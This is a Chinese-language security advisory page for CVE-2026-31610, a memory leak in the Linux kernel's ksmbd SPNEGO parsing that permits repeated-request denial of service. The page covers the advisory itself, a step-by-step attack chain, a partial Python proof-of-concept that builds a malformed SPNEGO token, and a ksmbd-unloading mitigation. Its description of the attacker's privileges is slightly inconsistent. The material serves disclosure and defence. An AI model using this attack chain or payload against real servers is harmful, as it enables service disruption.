IPBUF安全漏洞报告
English
CVE-2026-31610 CVSS 5.5 中危

CVE-2026-31610 Linux内核ksmbd内存泄漏漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31610
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelksmbdMemory LeakDoSSPNEGO

漏洞概述

Linux内核ksmbd模块在处理SPNEGO认证令牌时存在逻辑缺陷,导致内存泄漏。当解码器在分配mechToken后因后续字段格式错误而失败时,由于清理代码依赖错误的标志位,导致内存未被释放。未经认证的攻击者可利用此漏洞造成服务器内存耗尽。

技术细节

漏洞位于ksmbd的SPNEGO解码流程中。当`ksmbd_decode_negTokenInit`解析`mechToken` [2] OCTET STRING元素时,会立即调用`kmemdup_nul`分配内存。若随后的`mechListMIC` [3]元素格式错误(如越界),解码器返回错误,导致`decode_negotiation_token`将`conn->use_spnego`设为false。然而,`smb2_sess_setup`中的清理代码仅当`use_spnego`为true时才释放`mechToken`,从而导致内存泄漏。由于该逻辑在认证前执行,攻击者可反复触发此漏洞导致DoS。

攻击链分析

STEP 1
1
攻击者向目标Linux服务器发起TCP连接,端口445 (SMB)。
STEP 2
2
发送SMB2 NEGOTIATE协议请求,建立基本连接。
STEP 3
3
发送SMB2 SESSION_SETUP请求,并在SPNEGO blob中包含精心构造的数据:前部分的mechToken有效,但后续的mechListMIC字段畸形。
STEP 4
4
服务器内核分配mechToken内存后,在解析mechListMIC时失败,导致解码函数返回错误并跳过内存释放。
STEP 5
5
攻击者重复发送恶意请求,导致服务器内存持续泄漏,最终引发内存耗尽或系统不稳定。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket from struct import pack # Define target IP and PORT (445) TARGET_IP = "192.168.1.10" PORT = 445 # Construct a malformed SPNEGO token to trigger the leak # We need a valid mechToken followed by a malformed mechListMIC # This is a simplified ASN.1 structure for demonstration mechToken = b"\x00" * 10 # Valid(ish) token data # Malformed sequence to cause decoder failure after mechToken allocation # Tag 0xA3 is mechListMIC. We make the length invalid or content malformed. mechListMIC_malformed = b"\xa3\xff" + b"\x00" * 100 spnego_blob = pack(">B", 0x60) # Application 0 Constructed (SEQUENCE) spnego_blob += pack(">B", len(mechToken) + len(mechListMIC_malformed) + 4) # Add mechToken context specific tag [2] spnego_blob += pack(">B", 0xa2) spnego_blob += pack(">B", len(mechToken)) spnego_blob += mechToken # Add malformed mechListMIC spnego_blob += mechListMIC_malformed # Note: A full exploit would require wrapping this in a valid SMB2 SESSION_SETUP request. # This snippet demonstrates the payload construction logic. print(f"Generated malformed SPNEGO token length: {len(spnego_blob)}") print(f"Token hex: {spnego_blob.hex()}") # In a real scenario, send this via Impacket or raw socket in a loop.

影响范围

Linux Kernel (ksmbd enabled)

防御指南

临时缓解措施
临时缓解措施:在系统中卸载或禁用ksmbd模块。命令:sudo modprobe -r ksmbd。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表